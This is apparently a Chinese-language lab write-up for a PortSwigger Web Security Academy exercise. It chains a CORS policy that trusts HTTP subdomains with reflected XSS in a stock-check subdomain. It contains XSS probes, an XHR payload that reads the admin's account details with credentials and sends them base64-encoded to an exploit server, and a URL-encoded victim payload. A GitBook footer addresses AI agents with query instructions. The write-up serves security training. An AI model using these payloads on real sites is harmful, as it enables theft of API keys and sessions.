> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-with-trusted-insecure-protocols.md).

# 信任不安全协议的 CORS

信任不安全协议的 CORS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 存在受信任不安全协议的 CORS 漏洞

该网站存在有漏洞的 CORS 配置：它信任所有 **子域**，即使使用 **HTTP**。目标是通过 CORS 获取管理员的 API 密钥，并将其外带到攻击服务器。

提供的凭据： `wiener:peter`.该网站存在有漏洞的 CORS 配置：它信任所有 **子域**，即使使用 **HTTP**。目标是通过 CORS 获取管理员的 API 密钥，并将其外带到攻击服务器。

提供的凭据： `wiener:peter`.

#### 观察

* 根域被接受于 **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03b8f53f1d73d2248aa0817f6ef7b13481bc88b2%2F%7B753528B9-5C90-4408-9586-F6637353734E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**子域** 中使用 HTTP 的也同样被接受：

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5395fe07b351a15ed3029546ffa55a1bd63fa9ce%2F%7B57F2E23A-5484-40D4-8C5A-8906831F81CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过 stockcheck 识别出的子域：

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de94abfb106a7d1b61d5d6bb18aa6678dfd83bed%2F%7B80D49520-3E5E-495C-A92D-68219230C80D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该商品会反映 `productId` → \*\*HTML/JS\*\* 注入可能：

```html
?productId=test&storeId=1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb1a67546848c7608f36c8b764be42dbf912839%2F%7BED081033-61A4-462A-B337-F4FA02C27E26%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d57c6471c947230db0eed8aac3bf51509ee0999f%2F%7BB0C89E2A-DE59-44A0-B3C1-EDADA8CA1EFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c39961c83547a93fc0bb0c42273093ead3d75e9%2F%7B09CEDAD3-B9FB-430C-AEC1-5E4B705090F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 利用：读取 `/accountDetails` 并外带

使用的 XHR 脚本（通过子域发送）：

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

将脚本注入到 `productId` 漏洞子域的参数中：

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

重定向到该 URL 进行利用，并将 `apiKey` 变量中包含编码后的响应。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-922aeb0a58e86760f2acba38180b562cbeea7886%2F%7B1831EA33-51C0-474F-81CA-62F01D01AA52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 发送给受害者的有效载荷（URL 编码版本）

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* 在服务器上接收 API 密钥，并通过 `apiKey` 参数利用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a24ace683c7d5aa2bbd5e412105d9c5e6886543f%2F%7B8A3DE62E-6543-4074-BCEB-34162FD66695%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 使用以下方式解码：

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41b05eb06e8c5bd008b05ca7a5cd7bb4fb68ac6e%2F%7BA9A610D7-9469-41E0-917E-99EBFCA3DEB4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
